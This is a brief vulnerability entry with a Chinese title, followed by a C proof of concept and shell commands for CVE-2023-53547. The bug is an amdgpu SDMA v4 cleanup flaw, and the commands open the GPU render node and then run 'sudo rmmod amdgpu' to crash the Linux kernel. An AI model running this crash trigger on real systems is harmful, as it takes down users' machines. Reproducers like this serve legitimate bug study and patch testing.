CVE-2023-53547 Linux内核amdgpu驱动SDMA v4清理缺陷漏洞

// CVE-2023-53547 PoC - Trigger amdgpu SDMA v4 sw_fini crash // This PoC triggers the vulnerability by loading and unloading the amdgpu // driver on a system with AMD SDMA 4.2.2 hardware #include <stdio.h> #include <stdlib.h> #include <fcntl.h> #include <unistd.h> #include <sys/stat.h> // Step 1: Ensure amdgpu module is loaded // Run: modprobe amdgpu // This initializes the SDMA v4 firmware contexts // Step 2: Access the AMD GPU device to trigger initialization int trigger_vulnerability() { int fd; // Open the AMD GPU render node // This triggers SDMA instance context creation fd = open("/dev/dri/renderD128", O_RDWR); if (fd < 0) { perror("Failed to open GPU device"); return -1; } printf("GPU device opened, SDMA contexts initialized\n"); close(fd); return 0; } // Step 3: Unload the amdgpu module to trigger sw_fini // Run: rmmod amdgpu // This will call sdma_v4_0_sw_fini() -> amdgpu_sdma_destroy_inst_ctx() // -> amdgpu_ucode_release() -> release_firmware() -> free_fw_priv() // which triggers the general protection fault int main() { printf("CVE-2023-53547 PoC - amdgpu SDMA v4 sw_fini crash\n"); printf("WARNING: This will crash the kernel on vulnerable systems\n"); // Trigger SDMA context initialization if (trigger_vulnerability() != 0) { return 1; } printf("Now run 'rmmod amdgpu' to trigger the crash\n"); printf("Or run: sudo rmmod amdgpu\n"); return 0; } // Shell-based trigger: // $ sudo modprobe amdgpu // $ ls /dev/dri/renderD* # Trigger device access // $ sudo rmmod amdgpu # This triggers the GP fault in free_fw_priv+0xd/0x70